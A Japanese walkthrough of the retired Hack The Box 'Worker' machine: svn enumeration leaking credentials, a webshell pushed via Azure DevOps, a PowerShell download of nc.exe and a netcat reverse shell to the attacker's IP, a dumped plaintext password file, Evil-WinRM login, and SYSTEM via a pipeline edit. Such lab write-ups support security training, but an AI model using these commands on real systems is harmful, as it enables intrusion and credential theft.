本稿では、Hack The Boxにて提供されている Retired Machines の「Worker」に関する攻略方法(Walkthrough)について検証します。
Hack The Boxに関する詳細は、「Hack The Boxを楽しむためのKali Linuxチューニング」を併せてご確認ください。
マシンの詳細
エグゼクティブサマリー
戦術(Tactic)
- 「TA0007: 探索(Discovery)」, 環境を把握するための手順を確認します。
- 「TA0006: 認証情報アクセス(Credential Access)」, アカウントとパスワードを盗用するための手順を確認します。
- 「TA0004: 特権エスカレーション(Privilege Escalation)」, より高いレベルの権限取得を狙います。
- 「TA0002: 実行(Execution)」, 悪意あるコードを実行します。
ツール
- nmap
- svn
- Azure DevOps
- WebShell: cmdasp.aspx
- winPEASx64.exe
- Evil-WinRM
詳細手順
ネットワークサービススキャン
nmap
IPアドレス 10.10.10.203をworker.htbとして、/etc/hostsに追加します。その上で、nmapを使用し、ポートスキャンを実行します。
kali@kali:~$ nmap -Pn -T4 -A -v worker.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-18 22:24 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating Connect Scan at 22:24
Scanning worker.htb (10.10.10.203) [1000 ports]
Discovered open port 80/tcp on 10.10.10.203
Discovered open port 3690/tcp on 10.10.10.203
Completed Connect Scan at 22:24, 15.07s elapsed (1000 total ports)
Initiating Service scan at 22:24
Scanning 2 services on worker.htb (10.10.10.203)
Completed Service scan at 22:24, 6.41s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.203.
Initiating NSE at 22:24
Completed NSE at 22:24, 3.79s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.82s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.21s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3690/tcp open svnserve Subversion
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
NSE: Script Post-scanning.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.88 seconds
これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。
| ポート番号 | サービス | バージョン |
|---|---|---|
| 80/tcp | http | Microsoft IIS httpd 10.0 |
| 3690/tcp | svnserve | Subversion |
HTTPサービスのスキャン
Firefoxブラウザを使って、worker.htbの80/tcpにアクセスしてみます。初期設定のInternet Information Services(IIS)ウェブページが表示されます。
svnserveのスキャン
svnコマンドを使って、worker.htbの3690/tcpにアクセスしてみます。
kali@kali:~$ svn list svn://worker.htb
dimension.worker.htb/
moved.txt
moved.txtファイルをダウンロードし、その内容を確認します。
kali@kali:~$ svn export svn://worker.htb/moved.txt
A moved.txt
Export complete.
kali@kali:~$ cat moved.txt
This repository has been migrated and will no longer be maintaned here.
You can find the latest version at: http://devops.worker.htb
// The Worker team :)
新たなホスト名devops.worker.htbを/etc/hostsファイルに追加しておきます。
kali@kali:~$ cat /etc/hosts | grep 203
10.10.10.203 worker.htb devops.worker.htb
Firefoxブラウザを使って、devops.worker.htbの80/tcpにアクセスしてみます。認証画面が表示されます。この先に進むための情報はまだ得られていません。
svnコマンドを使って、探索を進めます。infoオプションにて一覧表示させた結果、nathenというユーザー名を得ることができました。
kali@kali:~$ svn info svn://worker.htb
Path: .
URL: svn://worker.htb
Relative URL: ^/
Repository Root: svn://worker.htb
Repository UUID: 2fc74c5a-bc59-0744-a2cd-8b7d1d07c9a1
Revision: 5
Node Kind: directory
Last Changed Author: nathen
Last Changed Rev: 5
Last Changed Date: 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020)
svnコマンドのlogオプションを表示させます。
kali@kali:~$ svn log svn://worker.htb
------------------------------------------------------------------------
r5 | nathen | 2020-06-20 09:52:00 -0400 (Sat, 20 Jun 2020) | 1 line
Added note that repo has been migrated
------------------------------------------------------------------------
r4 | nathen | 2020-06-20 09:50:20 -0400 (Sat, 20 Jun 2020) | 1 line
Moving this repo to our new devops server which will handle the deployment for us
------------------------------------------------------------------------
r3 | nathen | 2020-06-20 09:46:19 -0400 (Sat, 20 Jun 2020) | 1 line
-
------------------------------------------------------------------------
r2 | nathen | 2020-06-20 09:45:16 -0400 (Sat, 20 Jun 2020) | 1 line
Added deployment script
------------------------------------------------------------------------
r1 | nathen | 2020-06-20 09:43:43 -0400 (Sat, 20 Jun 2020) | 1 line
First version
------------------------------------------------------------------------
worker.htbのリポジトリからディレクトリツリーをダウンロードします。
kali@kali:~$ svn export -r 2 svn://worker.htb --force
アクセス権の取得
ダウンロードしたdeploy.ps1の内容を確認します。
kali@kali:~$ cat deploy.ps1
$user = "nathen"
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)
$Credential = New-Object System.Management.Automation.PSCredential $user, $pwd
$args = "Copy-Site.ps1"
Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
ユーザー名とパスワードを得ることができました(ログイン後にUser profileからDisplay Nameも確認できます)。
| ユーザー名 | パスワード | Display Name |
|---|---|---|
| nathen | wendel98 | Nathalie Henley |
Firefoxブラウザを使って、devops.worker.htbの80/tcpにアクセスしてみます。認証情報としてnathen/wendel98を使用します。
ログインに成功しました。
SmartHotel360プロジェクトの内容について確認します。

新たにspectralというホスト名の存在が確認できます。/etc/hostsファイルに追加しておきます。
kali@kali:~$ cat /etc/hosts | grep 203
10.10.10.203 worker.htb devops.worker.htb spectral.worker.htb
webshellのアップロード
kali上には、ASPX形式のwebshellが予め用意されています。
kali@kali:~$ locate cmdasp
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/aspx/cmdasp.aspx
Azure DevOps Repos
Reposを使ってファイル登録を行う手順は次のとおりです。
- 作業用の
branchをきる -
Commitしてプッシュする -
Pull Requestをかけてマージする
Azure DevOps Reposを使ってcmdasp.aspxをアップロードします。

+New branchをクリックします。ブランチ名、ブランチの元を選択してCreate branchをクリックします。
今回はブランチ名をwebshell、ブランチの元をmaster、Work Itemの指定はProduct Backlog Item 12としました。

Upload file(s)をクリックし、cmdasp.aspxファイルをCommitします。

webshellブランチの内容をmasterブランチにマージします。
Pull requestsを選択し、New pull requestボタンをクリックします。

New Pull Requestにて[webshell] into [master]が指定されていることを確認し、Createボタンをクリックします。

Approveボタンをクリックし、Completeボタンをクリックします。

Complete mergeボタンをクリックします。以上でmasterブランチへのマージは完了です。cmdasp.aspxファイルがアップロードされました。

ユーザーシェルの取得
webシェルによるリバースシェルの設置
Firefoxにてcmdasp.aspxを実行します。
http://spectral.worker.htb/cmdasp.aspx
cmdasp.aspxにてリバースシェルを設置するためのコマンドを実行します。
worker.htbにC:¥Tempフォルダを作成します。
mkdir C:\temp
powershellを使い、worker.htbにnc.exeをダウンロードします。コマンド構文は次のとおりです。
なお、Kali上で予めWebサーバー(python -m SimpleHTTPServer 8081)を立ち上げておく必要があります。
powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/nc.exe -Outfile C:\\temp\\nc.exe
NetCatによるリバースシェルの接続
ポート 1234にてリバースシェルを待ち受けます。
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
cmdasp.aspxにてリバースシェルを起動します。コマンド構文は次のとおりです。
C:\temp\nc.exe -e powershell.exe 10.10.14.13 1234
kali@kali:~$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.203] 50394
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv>
システム探索
PS C:\windows\system32\inetsrv> cd c:\temp
cd c:\temp
PS C:\temp> powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/winPEASx64.exe -Outfile C:\\temp\\winPEASx64.exe
powershell -command Invoke-WebRequest -Uri http://10.10.14.13:8081/winPEASx64.exe -Outfile C:\\temp\\winPEASx64.exe
PS C:\temp> ./winPEASx64.exe
[+] Network Shares
ADMIN$ (Path: C:\Windows)
C$ (Path: C:\)
IPC$ (Path: )
W$ (Path: W:\)
PS C:\temp> cd w:\
cd w:\
PS W:\> dir
dir
Directory: W:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2020-06-16 18:59 agents
d----- 2020-03-28 14:57 AzureDevOpsData
d----- 2020-04-03 11:31 sites
d----- 2020-06-20 16:04 svnrepos
PS W:\> cd sites
cd sites
PS W:\sites> dir
dir
Directory: W:\sites
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2020-07-20 23:43 alpha.worker.htb
d----- 2020-07-20 23:43 cartoon.worker.htb
d----- 2020-04-03 12:27 dimension.worker.htb
d----- 2020-07-20 23:43 lens.worker.htb
d----- 2020-07-20 23:43 solid-state.worker.htb
d----- 2020-08-21 18:14 spectral.worker.htb
d----- 2020-07-20 23:43 story.worker.htb
d----- 2020-07-20 23:43 twenty.worker.htb
PS W:\svnrepos\www\conf> type passwd
type passwd
### This file is an example password file for svnserve.
### Its format is similar to that of svnserve.conf. As shown in the
### example below it contains one section labelled [users].
### The name and password for each user follow, one account per line.
[users]
nathen = wendel98
nichin = fqerfqerf
nichin = asifhiefh
noahip = player
nuahip = wkjdnw
oakhol = bxwdjhcue
owehol = supersecret
paihol = painfulcode
parhol = gitcommit
pathop = iliketomoveit
pauhor = nowayjose
payhos = icanjive
perhou = elvisisalive
peyhou = ineedvacation
phihou = pokemon
quehub = pickme
quihud = kindasecure
rachul = guesswho
raehun = idontknow
ramhun = thisis
ranhut = getting
rebhyd = rediculous
reeinc = iagree
reeing = tosomepoint
reiing = isthisenough
renipr = dummy
rhiire = users
riairv = canyou
ricisa = seewhich
robish = onesare
robisl = wolves11
robive = andwhich
ronkay = onesare
rubkei = the
rupkel = sheeps
ryakel = imtired
sabken = drjones
samken = aqua
sapket = hamburger
sarkil = friday
PS W:\svnrepos\www\conf>
WinRM
nmapコマンドにて、WinRMサービス(5985/tcp)の状況を確認します。結果、サービスが稼働していることが確認できます。
kali@kali:~$ nmap -p 5985 worker.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-19 04:25 EDT
Nmap scan report for worker.htb (10.10.10.203)
Host is up (0.20s latency).
PORT STATE SERVICE
5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds
そこで、Evil-WinRMツールを介して、worker.htbサーバーで稼働しているWinRMサービスに接続し、インタラクティブなPowerShellを確立します。
確立したシェルにてuser.txtファイルを取得します。
|ユーザー名|パスワード|
|:---|:---|:---|
|robisl|wolves11|
kali@kali:~/evil-winrm$ ./evil-winrm.rb -i 10.10.10.203 -u robisl -p wolves11
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\robisl\Documents> hostname; whoami
Worker
worker\robisl
*Evil-WinRM* PS C:\Users\robisl\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\robisl\Desktop> dir
Directory: C:\Users\robisl\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 8/18/2020 4:23 PM 34 user.txt

*Evil-WinRM* PS C:\Users\robisl\Desktop> type user.txt
b2a1e328399ff4dba46a9661c7311f08
Azure DevOps
robisl/wolves11アカウントにて、devops.worker.htbへ接続します。
PipelinesのBuildsを選択し、New pipelineボタンをクリックします。

azure-pipelines.ymlコードにおいて、echo Hello, world!をwhoamiに書き換えます。さらにpool: 'Default'の記述を削除します。

コードの編集を終えたら、Save and runボタンをクリックします。このとき、Create a new branch for this commit and start a pull request.を選択します。

Run a one-line scriptのView detailed logsを確認します。whoamiコマンドの結果、nt authority\system権限にて動作していることが確認できました。

type C:\Users\Administrator\Desktop\root.txt
参考資料
- Hack The Box Forums 「Official Worker Discussion」
- mstakaha1113 「Azure DevOps とは?」
- mstakaha1113 「Azure DevOps Repos(リポ) を使ってみる」
- mstakaha1113 「Azure DevOps Pipelines(パイプライン)の超概要」















